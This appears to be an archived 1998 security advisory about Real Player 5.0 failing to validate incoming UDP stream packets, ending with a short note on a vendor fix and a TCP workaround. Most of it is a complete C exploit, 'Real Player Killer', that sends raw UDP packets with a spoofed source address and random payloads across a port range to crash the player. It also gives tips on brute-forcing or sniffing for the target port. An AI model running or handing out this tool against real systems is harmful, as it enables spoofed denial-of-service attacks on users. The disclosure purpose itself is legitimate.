COMMAND

    Real Player

SYSTEMS AFFECTED

    Win95, NT, Linux

PROBLEM

    Following was a part of  one rootshell advisory.  Real  Player 5.0
    for  Windows95  and  Linux  (others  untested)  do  not  check the
    validity of incoming UDP packets used when receiving  audio/video.
    If you are able to  determine or brute force the  destination port
    of the stream you are able to crash the player and cause it to use
    100% of idle CPU.  The client does not even check if the source IP
    address is the one it is  receiving data from.  Any source  IP can
    be used.  Generally the stack will start with port 1025 and go up.
    Starting there and going up will generally  give you good results.
    If you are able to sniff the network you will know the exact  port
    and not have to guess.  Exploit fillows:

    /*
     * Real Player Killer - 6/26/98
     *
     * (C) 1998 Kit Knox <kit@connectnet.com>
     *
     * [ http://www.rootshell.com/ ]
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <linux/udp.h>
    #include <netdb.h>

    #define err(x) { fprintf(stderr, x); exit(1); }
    #define errs(x, y) { fprintf(stderr, x, y); exit(1); }

    char real_data[] =
      { 0x00, 0x00 };


    unsigned short
    in_cksum (addr, len)
	 u_short *addr;
	 int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      while (nleft > 1)
	{
	  sum += *w++;
	  nleft -= 2;
	}
      if (nleft == 1)
	{
	  *(u_char *) (&answer) = *(u_char *) w;
	  sum += answer;
	}

      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
    }

    int
    sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
	 struct sockaddr_in *sin;
	 unsigned short int s, datalen, sport, dport;
	 unsigned long int saddr, daddr;
	 char *data;
    {
      struct iphdr ip;
      struct udphdr udp;
      static char packet[8192];
      char crashme[500];
      int i;

      ip.ihl = 5;
      ip.version = 4;
      ip.tos = rand () % 100;;
      ip.tot_len = htons (28 + datalen);
      ip.id = htons (31337 + (rand () % 100));
      ip.frag_off = 0;
      ip.ttl = 255;
      ip.protocol = IPPROTO_UDP;
      ip.check = 0;
      ip.saddr = saddr;
      ip.daddr = daddr;
      ip.check = in_cksum ((char *) &ip, sizeof (ip));
      udp.source = htons (sport);
      udp.dest = htons (dport);
      udp.len = htons (8 + datalen);
      udp.check = (short) 0;
      memcpy (packet, (char *) &ip, sizeof (ip));
      memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
      memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
      for (i = 0; i < 500; i++)
	crashme[i] = rand () % 255;
      memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
      return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
		      (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
    }
 
    unsigned int
    lookup (host)
	 char *host;
    {
      unsigned int addr;
      struct hostent *he;

      addr = inet_addr (host);
      if (addr == -1)
	{
	  he = gethostbyname (host);
	  if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
	    return 0;

	  bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
	}
      return (addr);
    }

    void
    main (argc, argv)
	 int argc;
	 char **argv;
    {
      unsigned int saddr, daddr;
      struct sockaddr_in sin;
      int s, i;

      if (argc != 5)
	errs ("Usage: %s <source_addr> <dest_addr> <low port> <high port>\n", argv[0]);

      printf("Real Player Killer - http://www.rootshell.com/\n\n");
      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	err ("Unable to open raw socket.\n");
      if (!(saddr = lookup (argv[1])))
	err ("Unable to lookup source address.\n");
      if (!(daddr = lookup (argv[2])))
	err ("Unable to lookup destination address.\n");
      sin.sin_family = AF_INET;
      sin.sin_port = 9;
      sin.sin_addr.s_addr = daddr;
      for (i=atoi(argv[3]); i<atoi(argv[4]); i++)
      if ((sendpkt_udp (&sin, s, &real_data, sizeof (real_data), saddr, daddr, 2014, i)) == -1)
	{
	  perror ("sendpkt_udp");
	  err ("Error sending the UDP packet.\n");
	}
      printf("Done!\n");
    }

SOLUTION

    Real Networks has been notified of the problem and has stated that
    they  will  make  a  fix  for  their  upcoming  G2 release and are
    considering making a  patch available for  all of the  5.0 players
    out  there.   The  only  available  workaround  at this time is to
    force your player  to use TCP  instead of UDP  for streams in  the
    transport area of the preferences menu.